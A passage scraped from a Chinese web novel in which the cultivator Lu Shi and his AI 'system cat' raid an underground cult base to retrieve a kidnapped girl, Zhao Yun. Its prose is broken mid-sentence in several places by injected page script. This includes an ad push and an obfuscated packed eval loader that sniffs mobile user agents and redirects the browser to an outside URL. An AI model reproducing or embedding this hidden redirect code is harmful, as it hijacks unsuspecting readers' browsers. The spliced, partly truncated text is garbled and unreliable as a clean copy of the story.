他此来就是为了给这场利用收尾,直白粗.暴的摧毁刘梓旭一切抱有微小幻想的苗头,然而这是在帮他。 系统猫补上了陆时没有明说的话:“这两年的遭遇,全部忘了吧,回归你以前的生活,去做个正常的富二代。” “走了。” “不用送。” 说完,陆时抱着蛋和猫跨出了家庙的门槛,刘梓旭一句挽留的话甚至都没能说出口,他的身影就从眼前消失的无影无踪,就如同他来时那般。 而在系统猫躺着的茶盘上则留下了一张纸,上面写着一串银行卡卡号,证明这一切不是一场梦。 一时间,刘梓旭分不清该填补得知残忍真相、在心底形成的巨大落空,还是其他。 “啊……” 但就在他不知所措之际,身后再度传来了并不那么沉稳的脚步声,其主人,则正是这栋家庙现任的掌管人—— 刘老巡视一圈,最后通过刘梓旭黯然神伤的控诉,将目光停在了空了的太师椅上,一开口就是十足的笃定:“他跟你划清界限了?” 刘梓旭闷闷点头,先前的疑问也在这一刻全部一股脑地涌了出来,嘀咕道:“您怎么什么都知道……” 不等刘老回答,他回想起了肖艳白跟他谈及的刘家历史,一个大胆的猜测在心底浮现:“难不成爷爷您学过算命的玄术……嘭!” 话还没说完就被呼了一巴掌,力道之大,好悬没给他拍着摁地上。 刘老重重地强调:“屁的玄术,老子就只是一个普通人!”同时无情碾碎 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了他的最后期望:“你爸妈也是!刘家的亲戚也一样,他们的钱、权都是靠着自己一点点努力得出的回报!” 但也解答了他的疑惑:“至于为什么我会知道?那是因为,我在年轻的时候,也经历了跟你一样的事情。” 刘梓旭惊得合不拢嘴:“什么?!爷爷您也见过陆时?” 这句脱口而出的反问成功令刘梓旭再次捱了一巴掌:“你但凡有你糊弄太玄司的时候一成机灵也不会说出这种蠢问题来!” “是经历!不是人!” 刘老正了正神色抬头看着祖宗的牌位,将自己年轻时的遭遇娓娓道来:“太玄司的人跟你说过我们家族祖先种种奇异故事吧?都是真的。” “我们家世代家主都会不可避免地跟玄门产生了联系,带领刘家发家的那位先祖他老人家在小时候心善放生过一只鲤鱼。” “那时的他并不知道,那其实是一只即将要修成妖的灵物,也并不知道自己会在后来踏上八竿子打不着的市舶,更猜不到,当年他放过的那只妖在作乱时认出了船上的他,为报恩平息了风波,自此让他成为了江南一代富商……而这样的事情,还有很多。” 他以自己举例:“你曾祖父当年曾经营着一家举国闻名的证券公司,原本想将我当作下一任接班人培养,于是送我出国留学,在异国他乡的路上,我遇见了一个落魄的女巫。” “起初我并不知道她的身份,只看她一个老人孤零零地坐在教堂外的石阶上显得很可怜,就在路边摊买了热狗和热可可送给她想要领她暖暖身子。” “她却哈哈大笑,说她其实是在看那些放任着一个真正有魔力的女巫不信,跑去向一个死去千年早已不能显灵的雕像的无知民众热闹,而错认她身份的我,是她那天看到的最好笑的乐子。于是别逗了的她送了我个劝告,让我改行。” 刘梓旭问:“您就听了?转去拍电影去了?” “我怎么可能听信一个陌生的人就改变人生志向,是我早就有这个想法,这恰好是坚定我决心的最后一根稻草而已。” 刘老继续道:“至于那个预言的结果么?” 他没有直说,但他们身处的名贵豪宅和这四周名贵的黄花梨制成的家具就说明它的成功。 “正因此我拿出了所有股份投资电影,所以我才能在世纪末的金融风暴中全身而退,还大赚一笔——预言成真后,我曾大力寻找过那个女巫。” 偏离的话题再度引向正题。 “想向她道谢是一方面,另一个原因是我对这神异的手段产生了向往,然而找了十年,我几乎是翻遍了那个国家所有教堂都没有找到平安夜蹲在教堂外的老人,但在我心灰意冷放弃后,一转头,我看着她就在机场的忏悔室外朝我露出了跟当年如出一辙的戏谑笑容。” “如同女巫只对不信预言的庸人大度,无缘之物也强求不来。” 故事就此落幕,再看向刘梓旭,刘老的语气和目光变得柔和,为波澜壮阔的经历画上了句号,以令其能完美落幕:“就做个普通人吧,爷爷只要能看到你每天都能安安稳稳地回到家就心满意足了。” 刘梓旭在沉默良久后,松开了陆时留下的银行卡号,重重点头:“好。” 是夜,榕城新寓。 叮咚一声,倚在床上边打坐边孵蛋的陆时扫了眼手机,上面是一道银行存款变更的提醒邮件。 “入账?50,000,000……” 37. 目标密教 系统猫在看到这熟悉的数额之后爷立刻明白发生了什么:“啊,刘梓旭把钱转过来了啊,看来是把你的话听进去了。” 陆时则是谈及了对这笔钱的规划:“打进黑市的账户吧,如果有能温养灵体的灵物就拍下来。” “也是,崽现在不在你肚子里了,不需要内服,改外用了。”系统猫熟练地操作:“好了,入账了。” 黑市,顾名思义交易一些的不能够在现代社会上在合法渠道商流通物件的集市。 其本部如今则设立在一艘飘荡在大洋中央离群索居的游船之上,但甚少启用,知之者也甚少,如今的交易手段也是通过网上的拍卖。 此举躲避躲避各国势力的追踪是一个原因,另一个重要的原因,则是为了延续黑市历来的传统——据传在末法时代到来之前,彼时灵力充盈的蓝星诞生了无数的大能修者。 黑市最早的创立者就是其中一位赫赫有名的法师,它为了凸显自己黑市的实力,直接在茫茫大海中用魔法悬空了一座岛屿,并将其作为了最早的黑市驻地。 如今的黑市管理员效仿用船只代替岛屿可以解释为致敬,但不如说是破的不易更加准确。 末法时代,灵力百不存一,当年的恢弘玄术几乎在时间的变更中出现了断层。 但即便是如此,也不可否认黑市是当前各国修士交易最便捷的平台。 陆时会和黑市搭上边是一个纯粹的意外。 当时他和系统猫的环游世界之旅到了太平洋,最终一人一猫选定了一个荒无人烟的岛屿准备海钓放松一阵,却不曾想遇上了正好停泊靠岸的黑市游船。 在一番试探后,陆时得知了黑市的存在,而黑市当前的管理人在察觉到陆时实力强横后选择了化敌为友,力邀陆时成为了会员,并许诺了诸多好处。 这也极大程度替陆时免去了寻找一些疗伤的灵物繁缛的过程,但代价则是,那原本绰绰有余的放满了五十万克黄金的账户逐渐见底。 不过一人一猫也完全没有烦恼,与他们一个修为强横的修者和一个远超当前时代的人工智能而已,搞钱不过是顺手的事,全凭想与不想。 但在出手解决事件的同时获得一笔报酬,又有谁会不乐意呢? 系统猫关闭转账页面,跟陆时详聊:“那我们以后跟刘梓旭应该是在没有关系了吧?” 陆时颔首:“不出意外的话,是的。” 却不出意外地出了意外。 翌日,陆时正带着系统猫去了超市准备继续被刘梓旭打断的购买家具的行程过程中,一个不速之客插了进来。 他不是别人,甚至是可以称得上是陆时的熟人。 “陆时,还记得我么?” 宜家内,头发花白却精神抖擞的老人自来熟地迎了上来,细看之下,不难发现他看向陆时的眼神带着一丝无奈和欣赏。 陆时立刻就认出了来人的身份,原因很简单,这张脸,昨天他才从系统猫的监控录像中看到:“刘导?” 来人正是刘梓旭的爷爷。 这个名字已出口,原本藏在陆时衣服里的系统猫钻出了一个猫头,仰着头轻声问陆时:“他找你干什么?难不成是发现刘梓旭转钱给你,然后后悔了?” 陆时否决了这个猜测,因为这跟讨债的表情完全不沾边,反而是像是有所求的样子。 他能求自己什么? 陆时也有些好奇,于是在对方提出移步的提议后颔首应允。 刘老带着他进了一家咖啡厅的包间,看着这私密性极好的装扮,显然对方这是早有预谋。 于是陆时直接省去了绕弯子的环节,一阵见血地说道:“作为导演找上我这么小演员,还如此毕恭毕敬,你应该已经从刘梓旭那里得知了帮他的人是我。他能放弃不切实际的幻想,你是出力最多的人,既如此好不容易和麻烦断绝了联系,为什么还要主动跟我接触?不怕前功尽弃?” 见陆时表明了自己的态度,刘老也没有继续打太极,而是直接说明了自己的来意。 但一开口说出的内容却令陆时神情骤冷,哪怕他的语气卑微,还带着一丝奉承—— “陆大师,我听我那不成器的孙子说,您的身边带着一个奇异的蛋?” 听到他提及龙蛋的那一刻,陆时那双灰翳的眸子微眯,再看向刘老时,先前的客气荡然无存。 “是,那又怎么样?” 刘老浑身一颤,机敏地察觉到了此话中蕴含的危险,抬头一看简直吓得三魂没了七魄—— 只见陆时眼中深处已毫无温度,只剩冰冷的审视,刘老丝毫不怀疑,但凡他给出的答案无法令陆时满意,那等待着他的将会是什么? 而造成这种局面的原因也很简单,他触碰到了对方的逆鳞!他对那个蛋是灵兽跟宠的猜测错得离谱! 想到这里,刘老赶忙辩解补救道:“我没有恶意。” 怕陆时不信,他赶紧将自己的来意毫无保留的说了出来:“我是来帮人跟你谈一桩交易!对方给出的筹码你一定会心动!” 系统猫在一旁实时补充道:“他没有说谎,这是真话。” “我知道。” 却并不能改变陆时的态度,陆时收回了泛起灵力的手,却再望向刘老也回不到先前。 “说吧,是什么。” 刘老毫无半点被冒犯,反而是庆幸自己捡回了一条命,松了一口气后一股脑地将前因后果全部说了出来:“我有一个挚友,他家里几年前发生了一场变故,在他们一家来榕城祭祖的时候,他的孙女被不知名的人给掳走了。” 然而陆时听完之后却眉头动都没动一下:“所以,你找我是要我帮他把人找回来?” 刘老脸上露出了被说中的尬笑,没有否认,而是补充道:“我那挚友跟我说过,只要有人能把他的孙女带回来,哪怕对方是要他一屋家当他也会答应。而他的那些藏品里,有一件滋补温养灵体的至宝,想必能对您带着的那个蛋孵化有所帮助……” 系统猫低声惊呼:“陆时,那不是正好你现在需要的东西吗?” 的确是。 然而陆时的神情不仅没有松缓,反而是变得愈发凌厉,瞌睡了送枕头,实数可疑。 但很快这股神情就被压了下去,无他,就在刚刚那一照面,陆时直接动用了搜魂的术法谈查了刘老的记忆,证明了他所言非虚。 同时也看到了他所提记的东西,并得出结论——对方说的没有错,这件东西,对目前的龙蛋来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而作为在自己孙子嘴里听完了陆时出手的全过程以及太玄司的评判的刘老,则对陆时的实力有了一个直观的了解,赶忙想要中止对方的无状,结果却被陆时率先打断。 他没有追究,而是懒得浪费时间,直接言简意赅的通知道:“我会把你女儿带回来,作为筹码,明早之前,带好你的传家宝过来交换。” 说罢,就直接起身抱着系统猫大步朝着外走去,动作一点也没有拖沓。 刘老在简单的惊讶过后,取而代之的则是惊喜,陆时准备行动了。 “有关密教的情报……” 陆时连头也不回:“不需要。” 陆时走后,刘老立刻开始劝说电话那头的将信将疑的挚友照着陆时话去做——如果说先前他听刘梓旭对陆时的夸奖对他有了六分的信任。 但在此次打了个照面后,直面感受到对方的压迫,剩余的疑心被彻底打消,对陆时深信不疑。 刘老并没有猜错,陆时的目的地的确是密教。 系统猫撸着不存在的袖子准备大干一场:“陆时,我这就去找密教的情报……” 还没说完,就被打断:“不用,我有他们的位置。” 38. 潜入密教(一更) “嗯?你有他们的位置?你啥时候去探查过他们,我咋一点印象都没有呢?” 系统猫丈二和尚摸不着头脑。 陆时徐徐道:“两年之前,王康文逃往的仓库,就是被一个密教的人带去,那人的身份和地位也远在王康文之上。” “听你这一说我想起来了,当时你在仓库门外停顿了一下,就是在那个时候?” 陆时点头:“我在那人身上打上了灵魂印记,可以感知到对方大致方位,本来想着是探查一下密教为什么会选中我作为目标的原因。” 但因为他们来了场环球旅行中途耽搁直到现在才想起来这一件事。 系统猫听出了他话中的意思:“那个人现在不会正在榕城吧?” “嗯,准确来说,的在城外一座大山里面。” “这是一箭双雕的大好事啊!不仅能换到给崽的灵器,还能顺势探查一下真相。” 系统猫撸起袖子准备大干一场:“那我们出发吧!” 然而陆时却停下脚步,轻柔地摸着系统猫的脑袋,用商量的语气和它说道:“不用,我一个人去就行了。” 系统猫有些不乐意:“为啥啊?难道你不要我这个好好伙伴了吗?我们在南非、在中亚快乐黑吃黑的日子难道就只能成为追忆了吗?” 陆时无奈提示这只缺心眼的系统猫:“你忘了崽还在家了么?” “哦,对哦,我们本来都已经打算回去了的。”系统猫想起了自己现今的职责,点点头,说道:“那好吧,我回去看崽,你也要早点回来啊。” 陆时颔首,先将系统猫送回家后径直出了榕城,往视角烙印信号传来的方向冲去。 榕城郊外一百公里,有一个名为大云山的森林公园,在森林深处,则存在着一个天然形成的溶洞,因其壮阔的属性,此地每年吸引无数地址学家和驴友前来探索冒险。 然而任谁也想不到,这看似天然的溶洞之下,还隐藏着一个人工开凿的地穴,而其中,就是在玄门中如雷贯耳的强大势力——密教位于云省的重要分部。 密教的教徒信众平常装作探险的驴友背着物资出入也完全不引人瞩目,甚至路上还有不知内情的的驴友和他们结伴帮助他们彻底打消最后一丝疑虑。 这一招灯下黑,成功令密教在太玄司的眼皮子底下站稳了脚跟多年也没有被发现任何端倪。 只可惜他们此番碰上了陆时。 一百公里的距离,御剑不过眨眼间。 陆时并没有刻意遮盖自己的身份,他落地的地方已经与密教的总部相隔不过百米,可以说是直接切入了他们的中心地带也不为过。 然而凭借着巨大的实力差距,竟无一人能够突破灵力的遮掩察觉到他的入侵,陆时就这么穿着买菜的修仙一身通过探查到的隐秘地道深入了密教总部—— 崎岖的通道过后,入目是一个盛大空旷的巨大洞窟,墙壁四周还利用了钢筋水泥加固,甚至顶部还加装了某种仪器用以抵御地质探查,周全程度完全看不出是一个和玄门有关的设施,反倒是像科幻片里邪恶反派聚集的地方。 陆时也对此略感惊讶,能修剪成如此周全的基地,足以看出密教彩礼之雄厚和图谋甚大,但跟他没有任何直接的关系。 他找上密教自始至终只有跟自己有关的那两件事。 找原因和带人走。 陆时循着烙印传来的方向投去了视线,而那里,则是整栋基地内守卫最森严、装修最豪华的房间,以常理来论,这样的房间一般都是属于此地最高等级的领导。 看来,他的两个目标看来能合二为一一起解决。 陆时运起了灵力朝着那处办公室摸了过去。 而在屋内,坐在太师椅上的男人满是焦躁的情绪,手指重重扒拉着手机在翻阅某样情报,但最终的结果显然不能令他满意。 啪的一声,手机被倒扣在桌面上,男人重重地朝着身后的椅背一靠,满脸愁绪地怒骂道:“催催催!就他妈知道催!是老子不想履行职责吗?也不看看外面,太玄司那群鬣狗现在正睁大了眼睛盯着榕城每一处关口!老子现在大规模调动资源这不是特么的在找死吗?” 说到这里,他愈发气愤,又骂起了一个故人:“妈的!都怪王康文那蠢货!如果不是他蠢、眼皮子浅,吸纳的全都是一群蠢货,老子怎么会落得现在这种有兵难用的两难地步吗?” 您老自己吸纳的榕山道人才是造成如今他们密教要夹紧尾巴做人的罪魁祸首吧?半斤八两也好意思说别人。 在陪桌上的下属想起这两天的憋屈劲儿,在心里默默翻了一个白眼,却没曾想这个动作引起了男人的注意,将火气撒在了他的身上:“还愣在这里干什么?大规模的物资调动不行,那就去找人,一点一点地全部运回来!否则耽误了大事,你有几条命够上面的大人发作?” 他不忿地低头道:“是,属下这就去做。” 看着秘书一脸不爽的离开,男人总算是将心底那窝子邪火抵消了不少,畅快地长舒了一口气。 他从兜里翻出了一个盒子,打开后,里面装满了赤红色的药丸还泛着腥臭的味道,然而男人却如获至宝地将它碰在了掌心里贴近自己的鼻子,深吸一口气后,露出一脸享受的神情。 惊人眼球的远不止于此,下一秒,他竟一口吞下了这血丸! 瞬间,原本还有点焦躁的男人舒爽地瘫倒在了椅子上,发出了一声强烈的喟叹后,又数落了起来王康文:“那个蠢货,永葆青春明明几粒血丸就能够解决,他却偏偏要去学劳什子吃力不讨好的吸精气法门,哼,我看他就是本性下贱!” 说到这里,男人忽然联想到了什么,呢喃道:“等等,我记得王康文好像被指派过去执行一个任务?好像那个人是一个小明星,就让王康文这个大拿动手……” “那个人好像还挺有分量的,在王康文嘶吼,内务那群人还数次催促着想要重启,但好像是因为某种原因最后给放弃了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对方竟然连这个都知道,那岂不是他一开始就潜入了?自己没发现就算了,偌大一个基地竟然连一个发现的人都没有吗? 这群饭桶!害我受此奇耻大辱! 然而气愤归气愤,问题还是要答,他也怕那神秘人真动手—— “是的,这是圣尊赐福给我们增长修为的神物!” 看着他满脸崇拜的模样,陆时面露恶色:“用人的精血炼制的邪丹,提升修为?不过是揠苗助长而已。” 男人被他所说的内容狠狠惊住了,但陆时对他是何反应完全不关心,直接问出了第三个问题:“赵芸,这个人你认识吗?” 这个名字出口的那一刻,男人睁大了瞳孔,下意识朝着一边偏头看去。 这无异于直观地给出了答案。 陆时命令道:“带我过去找她。” 39. 奔赴相见(二更) 孙明诚想到什么,带着顾虑:“大人,您……” 解释到了一半就因为脖子上收紧的桎梏被强行打断:“我不是在跟你商量。” 这一次,力道出奇的大,以至于孙明诚都以为自己看到了死神在朝他招手,一时间心底的那些小九九顿时荡然无存,不迭点头同意。 “请、您跟我来。” 陆时撤去了力道,孙明诚这次是真的老实了,出门后,连头也不敢回一次,就旅行着自己带路人的职责大步地朝着基地更深处走去。 陆时则紧跟其后,脚步声是那样的清晰可见,然而和他路过的密教教众却视而不见,仿佛压根没有这么一个人一样。 这无疑于彻底打消了孙明诚乱动的小九九,埋着头恭敬地停下了绕路,带着陆时来到了一处大门之前。 他低声解释道:“大人,您要找到的人,就在这里面!” 大概是看到了解脱的希望,以至于他的脸上多了一丝松懈,陆时瞥见了,没有在意,点头道:“开门吧。” “是。” 他听话地伸出了手掌按在了门框之处,只听见一声识别通过,咔的一下,大门缓缓地打开。 屋内明亮的灯光照射进走廊之上一时间之间晃得人有些睁不开眼,然而,孙明诚的嘴角却勾起了一抹计谋得逞的笑容—— 只见那原本呈现打开的大门在露出了一条只供一人通行的道路之后就骤然停了下来,而在下一秒,变故到来。 “蠢货!滚开!” 随着一声女子干练爽朗的呼喊,孙明诚立刻闪身离开空出来了路,一个人影猛地从屋内冲了出来,抬起了手掌直直冲向周身空荡没有一丝遮掩的陆时,烈烈银光晃动,细看之下才能发现她的手中竟然握着一柄短刀! 而目的地,则是直至陆时的命门! 这本该是极为惊心动魄的,但陆时的脸色依旧一脸淡然,甚至眼看着对方的长刀朝着自己的要害迅速逼近眨眼间已不过咫尺,也没有任何要躲避的迹象。 孙明诚的小动作,他尽收眼底,而没有揭穿的原因,则是对自己的实力绝对的自信! 孙明诚也意识到了这一点,脸上原本刚刚浮现的笑容瞬间收敛了下来。 他想起刚刚不久之前所直观体会到的对方恐怖实力,以至于对这场战局取胜没有抱有任何期待。 而事实也正如他所预测那样。 陆时灰翳的眼眸精准无误地落在了冲过来的女子面庞之上,即便是一阵刺目的强光,也无法提供阻挡。 “你就是赵芸?” 虽然是疑问句,但诉说的语气却是平静的像是陈述,以至于让冲过来偷袭的少女心脏漏了一拍。 只是她意识到这一点的时候陆时已经出手了。 没有什么花里胡哨的躲避拆招,陆时只抬起了手掌,看似无害的动作,却在他吐出法诀的那一刻,恢弘庞大的灵力倾泻而出! 恐怖的威压瞬间笼罩了整个走廊区域,刚刚还占据了上风的少女连反应过来运起法诀抵御的机会都没有就被这重压无情地按扣在了地上! 陆时道出了自己的来意:“有人请我把你带回去,所以,识相一点,对我们彼此都好。” 少女被压得抬不起头,却仍是倔强地在反抗,即便是脖颈已经被挤压的发出不堪重负的重响,也仍是的不肯弯下脊骨妥协。 “休想,身为密教的令使,要我背叛圣君,做梦!” 哐当。 就在她想要调动全身力气反抗的时候,突然手里的短刀脱手! 少女惊慌地立马想去捡这最后反抗的机会,但是却与之失之交臂!那短刀在脱手的那一刻,就被无形的威压绞碎成无数碎片! “灵器,就这么……没了?” 但在惊讶过后,更多的却是惊惧。 无她,对方突然展露这一手完全是给了她一个下马威,警告她如若不配合,这就是下场。 少女原本强硬的态度发生了改变,无他,在绝对实力的面前,她只有一条路能走。 她也试图以死来守护密教的秘密,却是尝试无果,不止是双手像是灌了铅根本抬起不能,就连身体内的灵力也不受自己的使唤! 可以说,当前她的身体掌控权基本已经不在她自己的手里了!那又谈何反抗? 留给她的选择如今也已经显而易见。 “我跟你走!” 少女说这话的时候满是屈辱,双眼死死盯着陆时,她在逼迫自己将这张脸深深刻进脑海里,日后再找他来算账! 事情本该就此落下帷幕,然而这时他们的身后却突然传来了大门关闭的声音,少女突然意识到了什么,竟是拼着威压也要转头看去—— “孙明诚!” 映入眼帘的果然是孙明诚幸灾乐祸的一副嘴脸! 他趁着陆时和少女交锋的间隙,已经从地上爬了起来迅速地逃到了大门边沿,在跨进之前,他对着少女露出了一个挑衅的笑:“令使大人!你被虏获这真是令人感到悲痛欲绝!但你放心,我一定会向圣君回报你英勇的事迹,所以令使大人你可一定不要透露密教的事宜啊!这样就算你未来遭遇什么不测,圣君大人还会大力嘉奖你,给你册封!这可是一般人怎么也享受不到的殊荣!” 少女瞬间气炸,甚至是短暂地忘了自己被俘虏的这一事实,对着这个猪队友破口大骂:“靠!孙明诚你个混蛋,我当初还真没看错你!你就是一只自私自利的白眼狼!若是你姑奶奶我能活着回来,一定会对你这个贱人挫骨扬灰!” 她这幅追悔莫及的模样令孙明诚愈发得意,脸上虚伪的关心彻底消失,取而代之的则是得意忘形:“你也就现在能呈呈威风了!就算你活着回来又能怎样?丢了圣君的信任,你在密教中的地位将会一落千丈!届时,你连给我提鞋都不配!” 得意的孙明诚没有继续说下去,因为有陆时这个未知变量在,他一脸顾忌地急忙朝着大门里面走去。 先前那恐怖的威压他也感受到了,如若对方的目标不是自己,那么修为弱于少女的他的下场怕是会惨烈数倍! 一步跨进大门后,孙明诚提起的心终于可以放下。 之所以他会这么想,则全是仰仗于在这扇大门后房间的特殊性——这里面存放的东西事关密教的大计,所以用的防护措施也是当时最为顶级的存在! 传闻,此阵乃是圣君从一座仙家残阵中领悟改良而成,想要攻破,最低也要分神的修为! 陆时先前展露的实力的确强衡,连如今为元婴巅峰的赵芸都能轻易镇压,孙明诚猜测,他的修为撑破天也不过是化神境而已。 依据则是源自当前修真界中大众老小皆知的一个共识——如今天地之间的灵力稀薄到无法再催生一个合体境以上的修者。 如今那些合体境往上的修者,无一不是来自数百年前残存至今的老古董。 要说这孙明诚也的确算得上一个人物,该软弱时软弱,该嚣张时绝不会收敛,而且虽然看着很怂,实则极为的胆大,否则也不会在走过来的途中,想出坑赵芸出来转移陆时的视线以给自己逃走制造契机的绝妙方法,并成功执行。 只是他唯独漏算了一点,那就是陆时这一身修为并不是在蓝星修成,所以,这一条铁律,独独对他起不了任何的限制。 咔嚓咔嚓。 随着阵法被驱动,大门被彻底关闭,孙明诚看着迎上来关切地看着他的密教精锐终于有了逃出生天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13980591|148105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的庆幸感。 可就在他刚要得意忘形的时候,突然,他猛地伸手攥紧了胸口,一张脸瞬间扭曲在了一起,下一秒,一口掺杂着内脏碎片的血液猛地喷吐而出! 仿佛有一颗小型炸弹在他胸腔中发生了爆炸,以至于所有要害全部被震碎成了一汪血水,孙明诚就在这种毫无防备的情况下死于非命。 临死前留下的最后一句话是难以置信的质问:“怎么可能……” 门外,陆时一脸平静地收回了灵力。 侧过身看向满脸震惊和隐隐猜到了什么的少女,他没有否认:“跟你想的那样,他死了。” 用的方法也很简单,在绝对的实力察觉下,原本只能用于追踪定位的灵魂烙印也能成为取人性命与无形的可怕手段。 少女看着眼前轻描淡写终结了一个人性命的青年,终于意识到他的可怕之处。 浑身气血逆涌,即便早已做好回不来的打算,此刻也仍是心如擂鼓对留给自己的未知结局感到惶恐。 陆时却并未直接带赵芸离开,相反,他带着她前往了制服孙明诚办公室中,全然不在意整个基地此刻已经因为孙明诚的死亡发生震动,所有教众倾巢而出。 陆时没有碰配套的那张椅子,孙明诚坐过,他嫌弃。 重新扯了一张新椅子落座后,他点亮了电脑,在弹出了账户登录界面后,他将键盘推给了一旁的少女。 “把你的权限填进去吧,云省密教真正的负责人。” 从进门起赵芸就攥紧的拳头随着老底被揭穿而无力地松开:“我知道了。” 这一次,她没有做什么猫腻,如实输入了自己的账号。随着回车键的落下,原本孙明诚没能搜索出来的内容呈现在陆时眼前。 他点击鼠标进行查看,假装没有看到少女竭力低头掩藏的紧张期待。 和孙明诚一样,即便陆时展露了绝对的实力,赵芸也没有屈服而是留有后手,但她手段高明太多,设下埋伏的地方远离陆时的视线。 密室之内,藏匿于此的密教精锐惊恐地将视线从地上惨死的孙明诚身上移开,随即默契地你一言我一语开始谈论起了赵芸的叮嘱:“令使大人说了,如果她有什么意外,那就启用大阵……” 众人对视一眼后,默契地朝着半空中悬浮着之物伸出了手掌,闭眼,开始默念起晦涩的催动咒语。 一山之隔的办公室内,陆时将从神识中听到的咒语略作回想,很快得出答案:“召唤圣灵?” 然后就毫不迟疑地将其抛之脑后,因为不在意,就是那位圣君他都有藐视的资本就更别提被召唤而来的虚无灵体。 唯一在意的一点则是这个阵法本身,陆时从中闻到了一丝虚无的亘古气息,而那,存在界壁之外。 界壁之外只有恐慌无垠的混沌,用科学的方法解释,那就是宇宙,什么圣灵要从宇宙中召唤? 小行星? 心底生出的仅有一丝疑问在电脑上瞥见有关自己的情报时被抛之脑后,灰眸一目十行的扫过详细记录,陆时第二个来意也随之被满足。 密教盯上的原因,他已经知道了。 与此同时,榕城新寓内。 正在奶蛋的系统猫突然打了一个喷嚏,呢喃道:“我好像有一件很重要的事情忘记告诉陆时了,是什么来着?” 被问的龙蛋:我? 系统猫疯狂地挠着脑袋想了半天仍是一头雾水,最后干脆不去想了,毕竟没记住的东西那应该不是什么重要事情……吧? 无垠的混沌中,奔赴不知多少岁月又受过多少创伤的青年死死盯着眼前界壁内蔚蓝的星球,殷红双眸中涌现出无止境的激动—— “陆时,我马上就来见你了。” 40. 入v公告 他一步跨出,但一股无形的空气墙却结结实实地阻挡在前,彻底封锁了他的所有前路。 封烬脸上刚松缓下来的神色瞬间凝固,缓缓地道出了这阻碍自己的原因:“界壁……” 顾名思义,界壁存在的作用就是保护着其本土的生灵不受到来自外部的侵害,这也是三千世界能和平共处这么些年的两个主要原因之一。 而另一个,则是无垠的混沌。 虚空乱流罡风能将误入混沌的无知者彻底绞碎,只有实力强衡的修者才能堪堪存活,而想要自由穿行混沌,其实力最差也要是达到仙境。 但即便实力足够,无垠的混沌就像是茫茫大海,一个修者于其而言就像是一叶孤舟漂浮其中。 一望无尽的海洋看不到前路,这期间还会遭到各色的攻势侵蚀,饶是再坚定的修者都有道心破碎的风险。 但封烬却硬生生地挺了过来,那一抹浅淡的微光指引了他前行的道路。 纵然浑身已然遍布了各色沉重的伤痕,但如今希望就在眼前,哪怕是界壁,也无法阻挡他前行的步伐。 他不顾一切地调动全身所有的灵力凝聚在掌心,仙境大能全力一击之强大,足以令任意一个修者惊骇的肝胆破碎。 万幸的是,此地是渺无人烟的虚空,没有任何人会直接遭到影响,但这并不代表不会受到任何波折。 在封烬一拳砸向界壁的那一刻,两股当时最强大的伟力相互碰撞所造成的余波瞬间席卷了整个外太空!而首当其冲遭受到的影响则是围绕着近距轨道开始绕行的观测卫星! 同一时刻,蓝星之上,无数外太空观测中心显示屏上,整个半球原本正常运行的卫星监控画面在同一瞬间全部黑屏! 随即就是刺耳的警报声:“波动过大、波动过大!” 一众研究员瞬间乱作一团:“什么鬼?!这么强大的能量余波,难道有超新星爆炸了?” “不知道啊……” “所有链接全部失效,现在该怎么办!” “赶紧联系军方,将这个消息汇报给总……” 最坏的消息还在后面:“完了!通讯全断了!” “什么?!” 通讯网断裂的消息瞬间传遍了全球,不可避免地引发了全球的骚动,然而这番动乱,就连位于地层深处洞窟之中的陆时都受到了波及。 报废的卫星里面,恰好就有密教的那几颗,以至于原本流畅加载的网页在一阵卡顿之后彻底消失。 “嗯?” 突如其来的变故中,情绪波动最厉害的却不是陆时,而是一旁用余光不是瞟着屏幕的赵芸。 原因很简单,这个网页断掉之后她该怎么继续留下陆时,以给她动用底牌的下属争取时间? 她绞尽脑汁试图思考出一个合理的解决之策,殊不知,陆时却是打算满足了她的愿望。 他也并没有急着离开,二手靠坐在椅背上,总结和分析刚刚得到的所有情报。 他想知道的东西不多:有关于自己被盯上的原因和密教当前的大致布置情况。 凭借着赵芸极高的权限,这些他都有在密教内部系统中找到了答案,感谢顺应时代建立完全数据库的密教程序员。 首先,是关于他被盯上的原因很简单,因为他的体质。 情报上有关他的评价如实写道:极为稀少的灵体,对灵魂的承载力极高,具有极大战略储备价值, 而批复简短:批准捕获。 简而言之,就是说他的体质适合承载灵魂,对承受夺舍的效果很好,被他们看上了想要存储起来以备不时之需。 饶是早已对这个结局有所预料,但亲眼看着他们的记录后,陆时眼中浮现出冰冷的杀意。 如果没有系统猫阴差阳错救了他一命,就算他能在王康文的手中逃脱,但之后等待着他的将会拥有玄术的密教教徒出场,他一个普通人将毫无反抗之力,等待着他的结局将会是沦为试验品和器具…… 想到这里,陆时瞥了身旁战战兢兢的赵芸一眼,但即便此人作为一个大区的同龄人,但陆时却并未将怒火撒在她的身上。 她是委托人的目标是其一,而另一个原因则很简单,因为赵芸则是同样被密教盯上并且虏获的众多体质奇异的人之一。 但不同于自己只是适应承载灵魂,有关赵芸的评价却是更高——因为她身负道种。 所谓道种,则是修道之人可遇不可求的稀少存在。 